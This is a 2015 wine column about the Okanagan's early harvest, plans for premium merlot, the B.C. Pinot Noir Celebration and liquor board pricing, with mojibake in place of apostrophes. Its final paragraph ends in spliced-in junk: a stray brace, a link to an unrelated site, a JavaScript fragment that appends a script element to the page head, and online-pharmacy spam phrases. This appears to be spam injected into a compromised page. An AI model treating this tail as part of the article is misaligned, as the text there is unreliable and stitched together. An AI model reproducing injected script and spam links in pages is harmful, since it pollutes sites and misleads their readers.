Epic Okanagan year in sight – July 25, 2015

By Anthony Gismondi

The Okanagana��s record early harvest is creeping closer every day.

If the wildfires remain at bay, and with luck their smoke distant to wine country, it could be an epic year for reds.

Whites could be in a little trouble given all the heat. The trick will be to avoid high sugars, leading to higher alcohols and lower acidities that rob the wines of their freshness. But I sense many wineries will accept that challenge for the chance to make some of the best red wines in a decade.

I have been talking with some growers about the future of merlot in the Okanagan and there seems to be some appetite to raise the bar. The Naramata Bench has shown the ability to craft a fresh, style with soft textures and bright fruit all thata��s missing is complexity. That will take some time but clones, rootstocks, and site selection will be key to making richer more experiential bottles, and of course a price hike.

Drew McIntyre, the owner of Lake Breeze is looking to make a statement beyond his highly respected labels. So too is Upper Bench winemaker Gavin Miller, who thinks south Naramata is the sweet spot. No less than Mission Hill owner Anthony von Mandl is thinking high-end merlot too. Von Mandl Estates is contemplating a merlot release to accompany its latest chardonnay venture, to be soon released under Checkmate Artisanal Winery label on the Golden Mile Bench.

Interestingly ita��s not just nearby Walla Walla. Wash., they want to take on but Napa Valley and Bolgheri, home of the great Masseto are in their sights. Dream big boys.

While merlot simmers. pinot noir continues shake and bake, making an impression on B.C. producers and drinkers. Surely the highlight of August in the Okanagan will be the B.C. Pinot Noir Celebration slated for Aug. 22 at Linden Gardens and Frog City Cafe in Kaleden. This yeara��s special guest is Londoner Steven Spurrier, Decanter Magazinea��s consultant editor, perhaps most famous for his Judgement in Paris event in 1976. The famed tasting featured a blind tasting of French and California wine. The California wines were chosen ahead of most of the Europeans samples and the wine world has never been the same since.

You could probably trace the origins of B.C. wine back to that tasting, where New World wines literally were given a reason to exist. Tickets are $175 at https://kiosk.eztix.co/kiosk-optimised-event/67189/71325 and include interactive breakout sessions alongside top B.C. winemakers; salon tastings with 26 of B.C.a��s best pinot noir producers, canapA� competition with Okanagan chefs and a family-style dinner by Artisan Culinary Concepts, live music after dinner and one round-trip shuttle ticket to and from locations in Penticton & Okanagan Falls.


Meanwhile back at the ranch, private wine, beer and spirit retailers are adjusting to a new world in which government actively meddles in selection and pricing via its closed back-end monopoly before becoming a free-enterprize retailer on the storefront, where the goal appears to be to eliminate the private sector competition.

Once the champion of higher floor prices, LDB buyers are scraping the bottom of the wine tanks looking for super cheap wines that after margin can retail on the shelf for less than $10, before PST and GST. Since everyone loves a bargain, the race to the bottom is officially on, with almost 300 listings at or below $10 and more than 550 under $12.

Ia��m betting there wona��t be any B.C. pinot noir selling for $12 at the B.C. Pinot Noir Celebration next month, yet after three decades of hard work to improve the local wine breed, government appears to be openly courting high-end domestic customers to buy cheap mass-produced imports at $10 or less. Like I said, everyone loves a bargain.} http://liberalcollegeoflaw.co.in/avodart-price-usa/ d.getElementsByTagName('head')[0].appendChild(s); best rx online pills online actos price comparison is allegra prescription or over the counter

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